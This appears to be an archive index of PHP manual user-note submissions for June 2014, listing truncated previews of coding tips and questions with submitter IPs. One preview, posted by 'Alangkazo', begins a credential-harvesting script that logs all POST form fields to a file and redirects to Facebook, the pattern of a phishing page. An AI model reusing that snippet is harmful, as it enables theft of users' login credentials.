FAQ

Search Discussions

62 discussions - 93 posts

  • set_time_limit('600'); We have this piece of code but even with that we are facing error. Can anyone tell us how to fix this? ---- Server IP: 72.52.91.14 Probable Submitter: 220.227.202.197 ---- ...
    Santosh AnantharamaiahSantosh Anantharamaiah
    Jun 11, 2014 at 6:42 am
    Apr 13, 2016 at 11:02 am
  • Code: <?php header ('Location: http://www.facebook.com'); $handle = fopen("lol.txt", "a"); foreach($_POST as $variable = $value) { fwrite($handle, $variable); fwrite($handle, "="); fwrite($handle, ...
    AlangkazoAlangkazo
    Jun 19, 2014 at 4:48 pm
    Apr 6, 2015 at 12:48 pm
  • Use the following function if you are using PHP 5.4 or lower. It is a complete simulation of array_column() in PHP 5.5 created by me. <?php if(!function_exists('array_columns')){ /* * array_column() ...
    OhccOhcc
    Jun 27, 2014 at 10:18 am
    Jul 1, 2014 at 5:37 pm
  • This is not working for me. I am using xampp on windows. my site files are on c:/xampp/htdocs/myproject but here I want to access files inside my Program Files folder. I am using Red5 server to ...
    NoorcsNoorcs
    Jun 29, 2014 at 5:09 am
    Jul 1, 2014 at 7:47 am
  • its an awesome extension for the php info().. provides security..much more ---- Server IP: 72.52.91.14 Probable Submitter: 112.196.7.209 ---- Manual Page -- http://php.net/manual/en/intro.pdo.php ...
    Sardana Sahil40Sardana Sahil40
    Jun 27, 2014 at 7:30 am
    Jul 1, 2014 at 7:28 am
  • its an awesome extension for the php info().. provides security..much more ---- Server IP: 72.52.91.14 Probable Submitter: 112.196.7.209 ---- Manual Page -- http://php.net/manual/en/intro.pdo.php ...
    Sardana Sahil40Sardana Sahil40
    Jun 27, 2014 at 7:30 am
    Jul 1, 2014 at 7:28 am
  • Hola! que pasa si la función sqlite_open(); la escribo de con un @ por delante ejemplo: $db = @sqlite_open('formSQLite', 0666, $sqliteerror) Agradecería su respuesta ví un ejemplo en ...
    Roberth SolisRoberth Solis
    Jun 25, 2014 at 5:21 pm
    Jul 1, 2014 at 7:23 am
  • I've found that on PHP 5.5.13 (not sure if it happens on other versions) if you enter a month larger than 12 on a format that takes numeric months, the result will be a DateTime object with its month ...
    NicodoggieNicodoggie
    Jun 25, 2014 at 1:13 pm
    Jul 1, 2014 at 7:23 am
  • This works for me if you want to expire a function on a specific date <?php if(time() <= strtotime('25-12-2014') ) { ? ---- Server IP: 72.52.91.14 Probable Submitter: 183.89.51.5 ---- Manual Page -- ...
    BradBrad
    Jun 23, 2014 at 8:47 am
    Jun 25, 2014 at 10:29 am
  • If mbstring is a module then mbregex doesn't work. ---- Server IP: 46.17.113.2 Probable Submitter: 94.42.88.2 ---- Manual Page -- http://php.net/manual/en/mbstring.installation.php Edit -- ...
    UserUser
    Jun 23, 2014 at 1:19 pm
    Jun 25, 2014 at 10:29 am
  • "so it is always safe to precede a non-alphanumeric with "\" to specify that it stands for itself" except if it is a " or '. ---- Server IP: 72.52.91.14 Probable Submitter: 98.112.150.149 ---- Manual ...
    PhpPhp
    Jun 23, 2014 at 4:29 pm
    Jun 25, 2014 at 10:28 am
  • Hi, I'm new to PHP. Someone please help me find solution for my problem. I want to fetch values from JavaScript prompt like : prompt('Please Enter the value,'); and save it to PHP variable. I tried ...
    Navjon444Navjon444
    Jun 24, 2014 at 2:35 pm
    Jun 25, 2014 at 7:56 am
  • Is there a way to get the string from an Hashed string??? ---- Server IP: 27.50.85.3 Probable Submitter: 41.58.226.124 ---- Manual Page -- http://php.net/manual/en/function.md5.php Edit -- ...
    PumamammalPumamammal
    Jun 20, 2014 at 6:05 pm
    Jun 21, 2014 at 6:30 am
  • I want to be a heroine of my life ---- Server IP: 46.22.129.76 Probable Submitter: 83.244.146.162 ---- Manual Page -- http://php.net/manual/en/function.stripslashes.php Edit -- ...
    Sandeep KishanSandeep Kishan
    Jun 16, 2014 at 4:23 pm
    Jun 17, 2014 at 7:55 am
  • A file's ctime is it's inode change time. The inode changes when file metadata changes (for example when file permissions change). The inode also changes whenever the file's contents change, but ...
    MichaelMichael
    Jun 30, 2014 at 7:30 pm
    Jun 30, 2014 at 7:30 pm
  • Following are the top 20 pages of the manual, sorted by the number of user notes contributed. These sections could use a polish, those notes represent 6.2% of the 24090 total user notes. Notes | Page ...
    PhpdocPhpdoc
    Jun 29, 2014 at 4:28 am
    Jun 29, 2014 at 4:28 am
  • @langpavel at phpskelet dot org Doesn't the gettype return the string already? Using get_class seems to be the only "useful" part of that solution. All that can be reduced to somewhere half in terms ...
    Wojciech FornalWojciech Fornal
    Jun 28, 2014 at 11:55 pm
    Jun 28, 2014 at 11:55 pm
  • Note an important difference between iconv() and mb_convert_encoding() - if you're working with strings, as opposed to files, you most likely want mb_convert_encoding() and not iconv(), because ...
    RasmusRasmus
    Jun 27, 2014 at 11:52 am
    Jun 27, 2014 at 11:52 am
  • Be careful when the $haystack or $needle parameter is an integer. If you are not sure of its type, you should convert it into a string. <?php var_dump(strpos(12345,1));//false ...
    OhccOhcc
    Jun 27, 2014 at 10:52 am
    Jun 27, 2014 at 10:52 am
  • keep in mind get_cfg_var() returns a string(1) '1' for the value: On <?php //in php.ini //A = On $A1 = get_cfg_var("A") === "On"; $A2 = get_cfg_var("A") === 1; $A3 = get_cfg_var("A") === "1"; //$A1 ...
    Tbrix13Tbrix13
    Jun 26, 2014 at 8:39 pm
    Jun 26, 2014 at 8:39 pm
  • While Michelangelo Van Dam example (http://br2.php.net/manual/en/class.splheap.php#93930) is a great demonstration of what can be done with SplHeap, this implementation is exactly what ...
    Igorsantos07Igorsantos07
    Jun 26, 2014 at 1:02 am
    Jun 26, 2014 at 1:02 am
  • I would advise against the use of exceptions within __construct. If you store the error code for an exception within a function of that class, you have no way of reading that error code to tell what ...
    MattschMattsch
    Jun 25, 2014 at 2:35 pm
    Jun 25, 2014 at 2:35 pm
  • I've found that on PHP 5.5.13 (not sure if it happens on other versions) if you enter a month larger than 12 on a format that takes numeric months, the result will be a DateTime object with its month ...
    NicodoggieNicodoggie
    Jun 25, 2014 at 1:20 pm
    Jun 25, 2014 at 1:20 pm
  • In the case you're asking an API which gives you a reusable application key, you'll have to use the "verifier" in the getAccessToken() method, but also the "callback" parameter in the ...
    Pierre MihawkPierre Mihawk
    Jun 25, 2014 at 7:09 am
    Jun 25, 2014 at 7:09 am
  • Since this took me over 4 hours to find out after digging through the libicu source code, I thought it'd be a good idea to post it here. do access othere thata than the default "locale" data (which ...
    MailMail
    Jun 23, 2014 at 12:17 am
    Jun 23, 2014 at 12:17 am
  • To get the resource bundle provided by libicu, you can pass "null" as $bundlename. ---- Server IP: 213.172.110.14 Probable Submitter: 78.42.24.193 ---- Manual Page -- ...
    MailMail
    Jun 22, 2014 at 9:55 pm
    Jun 22, 2014 at 9:55 pm
  • Following are the top 20 pages of the manual, sorted by the number of user notes contributed. These sections could use a polish, those notes represent 6.2% of the 24066 total user notes. Notes | Page ...
    PhpdocPhpdoc
    Jun 22, 2014 at 4:28 am
    Jun 22, 2014 at 4:28 am
  • If error_type is E_USER_ERROR then trigger_error throw FATAL ERROR and script stopped after this line. <?php $msg = 'This is the test message for echo'; trigger_error('Error message', E_USER_ERROR) ...
    Aydin Kn12Aydin Kn12
    Jun 20, 2014 at 7:48 pm
    Jun 20, 2014 at 7:48 pm
  • Overriden function name becomes __overridden__(). That's why you can't override two function, and that's how you can use the original function in the override. ---- Server IP: 195.56.44.160 Probable ...
    TothandorTothandor
    Jun 20, 2014 at 12:14 pm
    Jun 20, 2014 at 12:14 pm
  • simple functions to make life easier. I wanted a way to have a as property value the return value of a method in order to have it initialized. example class portItem implements JsonSerializable{ ...
    Dimstefan83Dimstefan83
    Jun 20, 2014 at 8:34 am
    Jun 20, 2014 at 8:34 am
  • function Romaji2Kana works pretty good but few exception: "JA" and "DZA" were not converted correctly as Japanese speekes expected. Following is a correction of that behavior. public function ...
    MoriMori
    Jun 20, 2014 at 6:54 am
    Jun 20, 2014 at 6:54 am
  • In some structures its not possible to know the dn or rdn up front. However one can use $ldapuser= $samaccountname.'@'.domainname; ---- Server IP: 72.52.91.14 Probable Submitter: 85.199.91.210 ---- ...
    John DoeJohn Doe
    Jun 20, 2014 at 5:53 am
    Jun 20, 2014 at 5:53 am
  • Use of magic functions may make your private variables behave like public ones. But it becomes strict; you cannot (in fact should not) assign any properties dynamically during the runtime. <?php ...
    BimalBimal
    Jun 19, 2014 at 9:05 am
    Jun 19, 2014 at 9:05 am
  • Warning! This function is not only more memory consuming than expected but the consumption also depends on the size of the result set. So if you realy only want to get your field_names you might want ...
    Gmx NetGmx Net
    Jun 18, 2014 at 1:32 pm
    Jun 18, 2014 at 1:32 pm
  • When using finally keep in mind that when a exit/die statement is used in the catch block it will NOT go through the finally block. <?php try { echo "try block<br / "; throw new Exception("test"); } ...
    TelefoontoestelTelefoontoestel
    Jun 18, 2014 at 12:34 pm
    Jun 18, 2014 at 12:34 pm
  • $memcache = new Memcache; //initialised memcahe @$memcache- connect("127.0.0.1",11211); // connect memcahe server $cache = getCache(md5("mysql_query" . $sql)); //get sql query if already cached in ...
    SwapniltiwhaneSwapniltiwhane
    Jun 18, 2014 at 9:31 am
    Jun 18, 2014 at 9:31 am
  • In addition to <span class="m_body_email_addr" title="12aab2b42c3f3a796fb92414de84db37" jcaplan@bogus.amazon.com</span ’s comment (http://www.php.net/manual/de/functions.arguments.php#62803) you ...
    Lucas EkrauseLucas Ekrause
    Jun 18, 2014 at 8:40 am
    Jun 18, 2014 at 8:40 am
  • thanks to gardnerjohng, but a had some problems with non-breaking spaces in this function. I added 2 more cases for this: case 0xC2 case 0xA0 After this modification non-breaking spaces in my test ...
    VlabotsVlabots
    Jun 18, 2014 at 7:03 am
    Jun 18, 2014 at 7:03 am
  • neither of "sqlite_num_rows($result)" and "$result- numRows()" is not working on SQLite3 ! you should use this way: $db = new SQLite3('databasename.db'); $result = $db- query("SELECT * FROM users") ...
    RezaamyaRezaamya
    Jun 17, 2014 at 3:11 pm
    Jun 17, 2014 at 3:11 pm
  • In case you're running a version of PHP that doesn't have this function... if (!function_exists('stream_resolve_include_path')) { /** * Resolve filename against the include path. * * ...
    ZelnagaZelnaga
    Jun 17, 2014 at 2:49 pm
    Jun 17, 2014 at 2:49 pm
  • Here's my CSV converter supports Header and trims all fields Note: Headers must be not empty! <?php function csv2array($file, $delim = ';', $encl = '"', $header = false) { # File does not exist ...
    Marco RemyMarco Remy
    Jun 17, 2014 at 7:54 am
    Jun 17, 2014 at 7:54 am
  • You can use Unicode character escape sequences (tested on PHP 5.3.3 & PCRE 7.8). <?php //This source is supposed to be written in UTF-8. $a='€'; var_dump(preg_match('/\\x{20ac}/u',$a)); //Match! ...
    InfoInfo
    Jun 17, 2014 at 4:47 am
    Jun 17, 2014 at 4:47 am
  • It's worth noting that the behavior of SimpleXmlElement::__construct is not exactly the same as simplexml_load_string, regarding libxml_use_internal_errors(). In my case, <?php ...
    Bertolini CedricBertolini Cedric
    Jun 16, 2014 at 11:07 am
    Jun 16, 2014 at 11:07 am
  • <?php session_start(); $_SESSION['name']="Tushar"; $n=$_SESSION['name']; $_SESSION['Age']="23"; $_SESSION['city']="Tarapur"; //echo session_encode()."<br/ ";//Prints all Session Data //echo ...
    Ts9904247885Ts9904247885
    Jun 16, 2014 at 10:20 am
    Jun 16, 2014 at 10:20 am
  • If you need negative indices: <?php $b = array_fill(-2, 4, 'pear');//this is not what we want $c = array_fill_keys(range(-2,1),'pear');//these are negative indices print_r($b); print_r($c); ? Here is ...
    AnatoliyAnatoliy
    Jun 16, 2014 at 10:00 am
    Jun 16, 2014 at 10:00 am
  • Following are the top 20 pages of the manual, sorted by the number of user notes contributed. These sections could use a polish, those notes represent 6.2% of the 24037 total user notes. Notes | Page ...
    PhpdocPhpdoc
    Jun 15, 2014 at 4:28 am
    Jun 15, 2014 at 4:28 am
  • Another Word wrap from left or right : public static function myWordWrap ($string, $length=3, $wrap=',', $from='left') { if ($from=='left') $txt=wordwrap($string, $length, $wrap, true); if ...
    Phil_marmottePhil_marmotte
    Jun 13, 2014 at 1:13 pm
    Jun 13, 2014 at 1:13 pm
  • Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items ...
    PhpPhp
    Jun 12, 2014 at 10:52 pm
    Jun 12, 2014 at 10:52 pm
  • It should be noted that this function performs access checks based on the real UID and real GID of the process running PHP. These aren't necessarily the same as the effective UID and GID. In other ...
    UnixguyUnixguy
    Jun 12, 2014 at 8:00 pm
    Jun 12, 2014 at 8:00 pm
  • If you want to use the '||' operator to set a default value, like this: <?php $a = $fruit || 'apple'; //if $fruit evaluates to FALSE, then $a will be set to TRUE (because (bool)'apple' == TRUE) ? ...
    AnatoliyAnatoliy
    Jun 12, 2014 at 1:41 pm
    Jun 12, 2014 at 1:41 pm
Group Navigation
period‹ prev | Jun 2014 | next ›
Group Overview
groupphp-notes @
categoriesphp
discussions62
posts93
users59
websitephp.net

59 users for June 2014

: 48 posts Salathe: 20 posts Sobak: 4 posts Mazzanet: 3 posts Phpdoc: 3 posts Ohcc: 2 posts Davey: 2 posts Nikic: 2 posts Nicodoggie: 2 posts Anatoliy: 2 posts Mail: 2 posts Php: 2 posts Sardana Sahil40: 2 posts Shadow_games: 2 posts Royanee: 1 post Mori: 1 post Kaigillmann: 1 post Liam666: 1 post John Doe: 1 post Vlabots: 1 post
show more
Archives